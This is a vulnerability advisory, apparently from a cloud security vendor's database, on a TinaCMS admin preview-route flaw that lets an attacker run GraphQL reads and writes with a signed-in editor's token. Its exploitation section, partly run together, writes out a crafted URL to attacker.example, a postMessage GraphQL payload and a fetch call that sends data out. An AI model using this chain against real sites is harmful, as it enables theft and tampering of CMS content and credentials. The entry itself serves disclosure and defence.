
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-108261 is a critical origin validation and confused-deputy vulnerability in TinaCMS, a headless content management system. The flaw exists in the /~/* admin preview route, which allows an attacker-controlled URL fragment to be loaded as an off-origin iframe, with that attacker-controlled origin then trusted as the legitimate preview for the GraphQL message channel. This enables an unauthenticated attacker to perform arbitrary GraphQL reads and mutations using a signed-in editor's credentials. Affected versions are tinacms ≤ 3.13.0 and @tinacms/app ≤ 2.5.13; the issue was disclosed on October 9, 2026, and carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory).
The root cause is an origin validation error (CWE-346) combined with a confused-deputy pattern (CWE-441) and open redirect behavior (CWE-601). In packages/tinacms/src/admin/index.tsx, the /~/* hash-router splat is prepended with a / and used directly as the iframe src without a same-origin check. When react-router-dom@6 processes a path like /~//attacker.example, it returns the splat as /attacker.example, which becomes the protocol-relative URL //attacker.example — loading an external site in the iframe. Critically, packages/@tinacms/app/src/lib/preview-origin.ts derives expectedOrigin from that same unvalidated URL via new URL(url, baseOrigin).origin, so the attacker's origin becomes the trusted anchor for the postMessage channel in graphql-reducer.ts. The attacker's frame can then send open messages that pass all trust checks, causing the admin to execute arbitrary GraphQL queries or mutations (including updateDocument, createDocument, deleteDocument) with the editor's authenticated token and post results back to the attacker. A prior partial fix in tinacms@3.9.3 added a sender-side origin check but never validated the URL that check compared against, leaving the vulnerability intact. A detailed PoC is included in the advisory (GitHub Advisory, Fix PR).
Successful exploitation grants an unauthenticated remote attacker full read and write access to the site's content API, operating under the signed-in editor's credentials. The attacker can exfiltrate any content the editor can access — including, on self-hosted deployments, authentication collections containing PBKDF2 password hashes — and perform any mutation (create, update, or delete documents). Because the payload resides entirely in the URL fragment, it never reaches the server or its access logs, making detection particularly difficult. Every TinaCMS deployment serving the admin bundle (both tinacms build output and tinacms dev) is affected, as the /~/* route is enabled by default with no configuration option to disable it (GitHub Advisory).
A detailed proof-of-concept is included in the GitHub Security Advisory, demonstrating the full attack chain including cross-origin frame loading, trust anchor hijacking, and GraphQL query/mutation exfiltration — all without contacting a live backend. The attack requires only that a signed-in TinaCMS editor clicks a crafted link; no privileges are required on the attacker's side. The EPSS score is 0.0 at time of publication, and the vulnerability is not currently listed in the CISA KEV catalog. No in-the-wild exploitation has been reported, and no threat actor attribution is available (GitHub Advisory, Feedly).
https://victim-site.com/admin/index.html#/~//attacker.example/evil.html.https://attacker.example/evil.html that, on load, sends a postMessage to its parent window with a GraphQL open message: parent.postMessage({ type: 'open', id: 'poc-1', query: 'query { ... }', variables: {}, data: {} }, '*');react-router-dom parses the splat /attacker.example/evil.html and the admin sets the iframe src to //attacker.example/evil.html, loading the attacker's page cross-origin.getExpectedPreviewOrigin() resolves //attacker.example/evil.html to https://attacker.example as expectedOrigin, making the attacker's origin the trusted message source.open postMessage; isFromTrustedPreviewOrigin passes because event.origin === expectedOrigin and event.source is the framed window. The admin calls cms.api.tina.request() with the attacker's query using the editor's authenticated token.expectedOrigin (the attacker's origin); the attacker's page receives it and forwards it to the attacker's server via fetch('/exfil?data=...') (GitHub Advisory).GET requests to attacker-controlled endpoints (e.g., /exfil?data=...) originating from the admin session.#/~//external-domain.example/...; the admin iframe src attribute resolves to a protocol-relative or external URL rather than a same-origin path.[victim] ACCEPTED "open" message from "https://attacker.example" or similar cross-origin postMessage activity if developer tools are open.Upgrade to tinacms ≥ 3.14.0 and @tinacms/app ≥ 2.5.14 immediately, as these versions contain the complete fix (tinacms release, @tinacms/app release). The fix introduces a resolvePreviewPath() function that resolves the router splat against the admin's own origin and rejects any result that leaves it (including double-slash, backslash, leading-tab, and dot-dot bypass variants); it also replaces getExpectedPreviewOrigin() with getPreviewOrigin(), which always returns window.location.origin rather than deriving the trust anchor from the URL (Fix PR). There is no known configuration-based workaround, as the /~/* route is unconditionally enabled in all TinaCMS admin builds. Organizations should also audit CMS content for unexpected modifications that may indicate prior exploitation.
The vulnerability was reported by Thai Son Dinh from VinSOC Labs (R&D) and credited in the GitHub Security Advisory. The Hacker Wire published a dedicated write-up titled "CVE-2026-108261: TinaCMS Admin Preview Route Exploited for GraphQL API Takeover," indicating notable security community interest. The advisory was also picked up by GitLab's advisory database and multiple CVE aggregators shortly after disclosure (GitHub Advisory, The Hacker Wire).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."